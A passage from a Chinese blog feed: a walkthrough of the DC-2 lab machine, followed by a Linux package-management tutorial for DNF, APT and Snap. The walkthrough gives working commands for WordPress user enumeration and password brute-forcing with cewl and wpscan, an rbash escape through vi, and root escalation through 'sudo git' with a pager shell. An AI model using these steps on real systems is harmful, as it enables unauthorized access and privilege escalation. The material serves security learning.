shell 解释器</span><br><span class="line">⬇</span><br><span class="line">:shell</span><br><span class="line"></span><br><span class="line">#启动shell（/bin/sh）,这个新 shell 不继承 rbash 的限制</span><br><span class="line">⬇</span><br><span class="line">#修复环境变量，同前一种方法</span><br><span class="line">export PATH=$PATH:/bin/</span><br><span class="line">export PATH=$PATH:/usr/bin/</span><br></pre></td></tr></table></figure></div><ul><li>CMS</li></ul><p><strong>CMS是一个可以通过浏览器进行管理的、功能完整的网站应用程序，就是一个建站系统，常用的有我们在dc1里遇见的drupal,还有wordpress，joomla</strong></p><p><strong>就是一个能帮助我们轻松建立网站的程序</strong></p><p><strong>我们之所以要识别这个CMS，是为了搞清楚在80端口上的那个网页是基于什么程序建立的，从而找到漏洞从这里去突破</strong></p><ul><li><strong>nikto</strong>进行登录界面的url路径猜测(-h:目标主机)</li></ul><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nikto -h XX.XX.XX.XX</span><br></pre></td></tr></table></figure></div><ul><li>cewl爬取这个网站生成自己的字典</li></ul><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cewl http://XX.XX.XX.XX -w pass.txt</span><br></pre></td></tr></table></figure></div><ul><li>wpscan扫用户，匹配密码</li></ul><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">wpscan --url http://dc-2 -U admin -P pass.txt</span><br><span class="line">wpscan --url http://dc-2 -e u</span><br></pre></td></tr></table></figure></div><ul><li>命令补充</li></ul><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"># less查看文件</span><br><span class="line">less /etc/passwd</span><br><span class="line"># 在less中的操作：</span><br><span class="line"># - 空格键：向下翻页</span><br><span class="line"># - b键：向上翻页  </span><br><span class="line"># - /关键词：搜索</span><br><span class="line"># - q键：退出 </span><br><span class="line"></span><br><span class="line">#ls略;</span><br><span class="line"></span><br><span class="line">#scp——文件传输</span><br><span class="line"># 从本地复制到远程</span><br><span class="line">scp file.txt user@remote:/path/</span><br><span class="line"></span><br><span class="line">#vi文本编辑器</span><br><span class="line"># 在vi中的基本操作：</span><br><span class="line"># - i键：进入插入模式</span><br><span class="line"># - Esc键：退出插入模式  </span><br><span class="line"># - :wq：保存并退出</span><br><span class="line"># - :q!：不保存退出</span><br></pre></td></tr></table></figure></div><ul><li>git提权</li></ul><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">sudo git -p help config</span><br><span class="line">#git 以 root 权限 启动，调用分页器 less 来显示帮助文本</span><br><span class="line">#因为 git 是 root，所以 less 也以 root 权限 运行</span><br><span class="line">⬇</span><br><span class="line">!/bin/bash</span><br><span class="line">#! = 在分页器中执行外部命令的特殊前缀</span><br><span class="line">#/bin/bash = 要启动的 shell</span><br></pre></td></tr></table></figure></div><p>** 攻击流程： **</p><p>扫ip</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d013f7382e4c408d9e0bda3f5156ead2.png"                                     ></p><p>扫可疑ip</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ee723d03d3d449f0952a83c82d40f7bf.png"                                     ></p><p>看到常用端口80和7744开启，进一步侵略性扫描</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/fdbe5808f24241c684294856b2cd520d.png"                                     ></p><p>分析得到的关键数据：</p><p>80端口对应着web渗透方向，并且我们可以看到这里对应的CMS是wordpress，版本是4.7.10</p><p>然后7744端口对应着ssh渗透，可以通过爆破和版本漏洞进行攻击</p><p>我们先尝试攻击80端口</p><p>输入dc-2登录网页，找到第一个flag入口</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b8101a931a0e4429bb8cabd8b2e0aa5e.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/4af5a19d780b4247ac321e903c1eff78.png"                                     ></p><p>translate：你惯用字典或许并不适用，所以不妨换一种方式，也许你需要用cewl。密码越多越好，但大部分时候你很难全部获得。 用一个身份登录以获得下一个flag， 如果没有，就用另一个身份登录。</p><p>提取有效信息：</p><p>1.一般字典不行</p><p>2.提到了cewl工具</p><p>3.需要几个账号密码去登录拿到下一个flag</p><p>所以我们下一步用cewl爬取这个网站生成自己的字典</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cewl http://192.168.145.180 -w dc2password.txt</span><br></pre></td></tr></table></figure></div><p>运行这个命令之后，ceWL会从首页开始爬这个网站所有可以访问链接，默认深度为2（也就是从指定的起始界面0+起始页面上能访问的直接链接1+一层间接链接2）</p><p>然后分析所有页面的文本内容，从中提取单词生成一个字典大纲，我们可以从这些包含网站信息的词里猜测密码</p><p>cat dc2password.txt发现爆出了很多敏感词汇<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/18b230c933484dc2ac5a49b870c91ed0.png"                                     ></p><p>然后使用工具wpscan</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wpscan --url http://dc-2 -e u</span><br></pre></td></tr></table></figure></div><p>–url指定要扫描的目标网站url，后面跟目标网站的网址</p><p>-e表示枚举，u是用户</p><p>看结果出来三个用户——admin,jerry,tom</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b39a85c4387045cdad470605ec1ea6aa.png"                                     ></p><p>继续用wpscan，加上我们之前扫出来的dc-2password字典逐个扫每一个用户名，看能不能找到对应密码</p><p>-u指定用户，-p是指定密码字典文件</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wpscan --url http://dc-2 -U admin -P dc2password.txt</span><br></pre></td></tr></table></figure></div><p>admin</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a1bcbd072ff2418299a8672d4f02ad54.png"                                     ></p><p>tom——successsed</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/546b21db01f54c5b85013ebb1f01847f.png"                                     ></p><p>jerry——successed</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/5cca2f243da845e6b99eb9fb23ad863a.png"                                     ></p><p>所以我们现在得到了两对账户密码，但是没有登录界面</p><p>用nikto进行登录界面的url路径猜测</p><p>-h 指定扫描的目标主机</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nikto -h 192.168.145.180</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/424b7f04e12043ddbac5503e6460b17c.png"                                     ></p><p>成功找到并且进入登录界面</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8657d293653549b884b7073fe787d8f9.png"                                     >先用tom登录，成功，但是进去什么也没找到，刚好对应上flag1（被预判了…）</p><p>所以用jerry试试..</p><p>在pages里找到了flag2</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ec0eb7437aa64fa58ff63258d1da4d65.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d604001bafee4c1db170c012fd2de700.png"                                     ></p><p>translate:如果wordpress攻击不成功的话，还有另一条路，希望你能找到另一个攻击点</p><p>所以：尝试7744的ssh攻击</p><p>回到终端，用jerry链接显示permission denied</p><p>用tom连接成功</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/44617671a1884564af0df797997a857d.png"                                     ></p><p>ls，找到flag3.txt➡cat</p><p>发现无法查看，被rbash（个人理解是只给用户提供最小权限的一个环境，会比一般shell限制的更多）限制了，所以下一步要从rbash里逃逸</p><p>先看看usr里面有什么，发现bin文件里有四个命令</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/dd5bd3fc046e47e89a5e62520bbea670.png"                                     ></p><p>可能是能使用的命令，用less看一下flag3.txt试一试，成功</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/69e165d61e5748418ff24bda1dbcfdf2.png"                                     ></p><p>translate：可怜的老tom总是追在jerry后面，他或许应该把承担的一切都su掉</p><p>提示我们用su命令把tom用户转成jerry用户，但是现在权限受制</p><p>用vi编辑器成功逃逸rbash</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/03228bee0ffd45ebb40f219d7488516e.png"                                     ></p><p>ls之后发现flag4.txt</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9cefe393a87f404a9946b763d0a83362.png"                                     ></p><p>translate:夸夸你，但是no，hints…走吧…</p><p>无脑尝试先提权到root</p><p>先sudo -l看看我都被允许用管理员权限运行哪些</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/bc54291c17694d7da8bd8e2d6b0cf8d1.png"                                     ></p><p>回显：jerry用户可以 <strong>以root权限</strong>运行git（版本控制系统）命令</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo git -p help config</span><br><span class="line">!/bin/bash</span><br></pre></td></tr></table></figure></div><p>cd并且ls</p><p>发现final-flag.txt!</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6559a1a71f254386864645df7a9f4857.png"                                     ></p><p>❀❀❀完结撒花！！❀❀❀</p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2025/11/27/dc%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94dc2/</id>
    <link href="https://leeei.site/2025/11/27/dc%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94dc2/"/>
    <published>2025-11-26T20:20:06.027Z</published>
    <summary>记录 DC-2 靶机的域名解析、WordPress 枚举、用户名与密码字典生成、SSH 登录以及 Linux 提权过程。</summary>
    <title>dc系列——dc2</title>
    <updated>2025-11-26T20:20:06.027Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="网络与系统" scheme="https://leeei.site/categories/%E7%BD%91%E7%BB%9C%E4%B8%8E%E7%B3%BB%E7%BB%9F/"/>
    <category term="Linux" scheme="https://leeei.site/tags/Linux/"/>
    <category term="Rocky Linux" scheme="https://leeei.site/tags/Rocky-Linux/"/>
    <category term="软件包管理" scheme="https://leeei.site/tags/%E8%BD%AF%E4%BB%B6%E5%8C%85%E7%AE%A1%E7%90%86/"/>
    <content>
      <![CDATA[<p>Rocky Linux8 -YUM&#x2F;DNF包管理</p><p>列出所有启用的仓库</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f31481f18e5f493a93b083c2dada86c5.png"                                     ></p><p>列出所有仓库，包括禁用的</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/cbd2f27ad887492ea718f73eb0f79c6b.png"                                     ></p><p>配置仓库</p><p>添加 EPEL 仓库</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/1fdbbcbd4cf7421aa87b14d93c65fcbd.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f449afede00440b683d59eb76e655e3a.png"                                     ></p><p>启用或禁用仓库 dnf config-manager – (disable&#x2F;enable) repository-name</p><p>软件包搜索和查询</p><p>搜索软件包:</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/529cdd1c687e44f19b116669a7eb6ad2.png"                                     ></p><p>查看软件包详细信息</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/076485a90b1d41e48b33c522d27e256c.png"                                     ></p><p>列出所有可安装的包:</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/dd3ad21760574706919cdfaa55f29348.png"                                     ></p><p>列出已安装的包:</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7961cfa3dd794311a17377f4717a9f7c.png"                                     ></p><p>查找提供特定文件的包:</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/660c31092a2246f0a14a990e2ce88496.png"                                     ></p><p>查看包的依赖关系</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9c9073318b9f47d89244f415b002e6d8.png"                                     ></p><p>软件包安装</p><p>安装单个软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/daefac7f5db240d9a27bbb157be464f2.png"                                     ></p><p>安装多个软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/30d8fa086f3648d28be6d2d8c4e192e2.png"                                     ></p><p>从本地rpm文件安装</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3889c4ef555045269ff6fbc05edc6a1f.png"                                     ></p><p>重新安装软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e68a8ce187254931b2e19e77de3dffbf.png"                                     ></p><p>安装软件包组</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/0f975e4b77244f53bc00f32a5a6c5dc0.png"                                     >列出可用的组</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/1cb9e49d61b04c1a836e574620f0e331.png"                                     ></p><p>检查可更新的软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/08db0faf8c1a4331b1c790e12db33e46.png"                                     ></p><p>更新单个软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/13392af9f1f946a9835ca6dd498cfa23.png"                                     ></p><p>更新系统</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/5b93bcf1cde0434bb95b76879aa19fc0.png"                                     ></p><p>仅下载更新不安装</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a0b9884dd34e4c69b9429fbbbe9513e4.png"                                     ></p><p>卸载软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/c1d87e3b9b164c3e9a4c0f48684fad10.png"                                     ></p><p>清理不再需要的依赖</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/affc3efc52434f56ad523766efbbd054.png"                                     ></p><p>清理所有缓存</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/96c1e5b34435471e88ff7850400cd18f.png"                                     ></p><p>清理包缓存</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/46e77544a11f471aa9c81180e074eb85.png"                                     ></p><p>清理元数据缓存</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/720f90d6f39d4bb29fe558122484e324.png"                                     ></p><p>清理过期缓存</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ac0928811efe435d91a832b046a77592.png"                                     ></p><p>历史记录管理</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8ccf09b169214b269027dd57965425f7.png"                                     ></p><p>查看具体操作详情</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/de60491100b846639b87a7f11550f6e9.png"                                     ></p><p>撤销&#x2F;重做&#x2F;回滚</p><p>dnf history undo&#x2F;redo&#x2F;rollback 5</p><h3 id="Ubuntu-22-04-APT-包管理"><a href="#Ubuntu-22-04-APT-包管理" class="headerlink" title="Ubuntu 22.04 - APT 包管理"></a>Ubuntu 22.04 - APT 包管理</h3><p>备份原始源文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/c5c226b4f5574bbe840fab48786d4831.png"                                     ></p><p>编辑软件源</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f8ac0f94df8344638da87e5d2e54e112.png"                                     ></p><p>更新包索引（定期执行）</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3b85eb8b2a5f494888cf8c46a874dde4.png"                                     ></p><p>更新并显示可升级的包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/813ca1e4e75f424f98bcf64d69a2d2f3.png"                                     ></p><p>搜索软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/5b8cb20fade141be92cddc79a3799dea.png"                                     ></p><p>搜索精确匹配</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/12742e071efa4593b58cd670304e9eb1.png"                                     ></p><p>查看包详细信息</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9c2e0295fc15408d8c56c541816ca4c3.png"                                     ></p><p>列出所有可安装的包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7c2c0ec6b6af41c7bf6aaa5ccdd297bb.png"                                     ></p><p>列出已安装的包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a94c945b791047918b8cc7ba570b71b7.png"                                     ></p><p>列出可升级的包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/70e8a736bb6841cf8cfd50b4d88bdca8.png"                                     ></p><p>查找包含特定文件的包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/4016022d60a14f4f93123364ef0de3cc.png"                                     ></p><p>查看包的依赖关系</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9a7254fa1dac4c8e9ffbec3df2ffe21b.png"                                     ></p><p>查看哪些包依赖此包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d9d17cebe91c4b359c3dce1aa9c20e1b.png"                                     ></p><p>软件包安装</p><p>安装单个软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/1bac5fa16c204b799a81ae3a42e3753c.png"                                     ></p><p>安装多个软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/1093a4ac79634cd0854cab49b18fcd70.png"                                     ></p><p>安装指定版本的包</p><p>apt install nginx&#x3D;（版本）</p><p>安装本地的deb包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e1a04457161d4fb4bee922f47aa761ac.png"                                     ></p><p>仅下载不安装</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e53a6c2935d347949504cff7fc09746a.png"                                     ></p><p>重新安装软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/717dc1750c1540e5a66e5efeae03a4b8.png"                                     ></p><p>安装推荐的包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/767f8c8d330a4ba6812dcfed71df3761.png"                                     ></p><p>不安装推荐的包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/0c627a84559441c0b483e9bb805b7c11.png"                                     ></p><p>软件包更新</p><p>更新单个软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/81dcb40560c5481db511887f68091f95.png"                                     ></p><p>更新所有软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/5e61532698904c86ae718eada104796e.png"                                     ></p><p>完整升级</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/696f26a0b9eb46648d2ab3934c6201e7.png"                                     ></p><p>发行版升级</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/677e59563e304427bb1da5299e199eb0.png"                                     ></p><p>软件包卸载</p><p>卸载，完全卸载</p><p>apt (remove&#x2F;purge) nginx</p><p>卸载不再需要的依赖</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6e00c3d221b046ad9ae52de314a5c295.png"                                     ></p><p>清理系统</p><p>清理下载的包文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b51b02abc1af4b1cbd5e50f35ab54d9c.png"                                     ></p><p>清理旧版本的包文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/5f6ed830eaa644a7806712aa5c5361cf.png"                                     ></p><p>组合清理命令</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/0ed61248ea3b4fd3a9b4a60f6a8917ec.png"                                     ></p><h3 id="Ubuntu-22-04-Snap-包管理"><a href="#Ubuntu-22-04-Snap-包管理" class="headerlink" title="Ubuntu 22.04 - Snap 包管理"></a>Ubuntu 22.04 - Snap 包管理</h3><p>安装snap</p><p>查看版本</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6db30549e2ea40189c6b35388dbfde98.png"                                     ></p><p>搜索软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9e469fa4fc754e96b6f56b1646ba1d0b.png"                                     ></p><p>查看包的详细信息</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/4f70b79ea3ef40488b9597f95a07176d.png"                                     ></p><p>列出已安装的snap</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/41e7f0bf352044079bcadb0163cfae6b.png"                                     ></p><p>查看snap 占用的磁盘空间</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e5afd478c6db4727af40375ccfabfc4f.png"                                     ></p><p>安装snap包（稳定版本）’</p><p>安装软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/1d1f756cc8254512a2e87423f24ef40b.png"                                     ></p><p>从特定频道安装</p><p>snap install firefox –channel&#x3D;(beta&#x2F;edge)</p><p>安装经典模式的snap</p><p>snap install –classic code</p><p>从本地文件安装</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3c3c07dfc3c34d149706fa983b72d3c3.png"                                     ></p><p>更新单个软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6647c845503940f99e7e18e0ae89ff92.png"                                     ></p><p>更新所有软件包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ba477db36050453689506495273d30e3.png"                                     ></p><p>切换到不同的频道</p><p>snap refresh firefox –channel&#x3D;beta</p><p>查看可用更新</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3a61489748ac406ea81a6876928002a1.png"                                     ></p><p>管理snap 版本</p><p>查看已安装的版本</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8fab1b9d0bd44ffe9ce996b7a6b86017.png"                                     ></p><p>回滚到上一个版本&#x2F;特定版本</p><p>snap revert firefox (–revision 1234)</p><p>禁用自动更新（某个包）</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8d9c3e4fe3834be7a4536277f587ebfd.png"                                     ></p><p>！ 卸载软件包</p><p>snap remove firefox</p><p>卸载并删除所有版本和数据</p><p>snap remove –purge firefox</p><h3 id="常见问题与技巧"><a href="#常见问题与技巧" class="headerlink" title="常见问题与技巧"></a>常见问题与技巧</h3><p>依赖问题处理</p><p>查看损坏的依赖</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f4901e80f9fc4d438b2ae584139be31c.png"                                     ></p><p>修复依赖问题</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8485eb10f4f64a2694f65d8f79869b1f.png"                                     ></p><p>跳过损坏的包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7a5f8999d4ae4fc8aaa4b7cfdbf5904c.png"                                     ></p><h5 id="Ubuntu-22-04-APT"><a href="#Ubuntu-22-04-APT" class="headerlink" title="Ubuntu 22.04 (APT)"></a>Ubuntu 22.04 (APT)</h5><p>修复损坏的依赖</p><p>apt –fix-broken install</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a8adac632466448199582ee977acb475.png"                                     ></p><p>强制修复</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f490379d2c3547f38449db1500b4b0b2.png"                                     ></p><p>锁文件问题</p><p>rocky</p><p>rm -f &#x2F;var&#x2F;run&#x2F;yum.pid</p><p>ubuntu</p><p>rm &#x2F;var&#x2F;lib&#x2F;apt&#x2F;lists&#x2F;lock</p><p>查看包安装的文件</p><p>rocky</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/231b08b768c94848bafe53fe985e5baa.png"                                     ></p><p>查看文件属于哪个包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7e955e600ec74dc59d9e59a56eb5f15a.png"                                     ></p><p>ubuntu</p><p>查看已安装的包的文件列表</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9829cab25b5c47fcb5730370dce6127f.png"                                     ></p><p>查看文件属于哪个包</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/75bae77957b4421ab51493bf1a0add39.png"                                     ></p><p>下载包但不安装</p><p>rocky</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a464be08081447c6ac7d97f906d2abce.png"                                     ></p><p>下载包及依赖</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b79ab9eeab4f47abad6b419fbe6e6f8f.png"                                     ></p><p>指定下载目录</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/671b115e5c8e4e08964a5f474ec73011.png"                                     ></p><p>ubuntu</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/0251a3a860264a6cb6b65db6224cd042.png"                                     ></p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 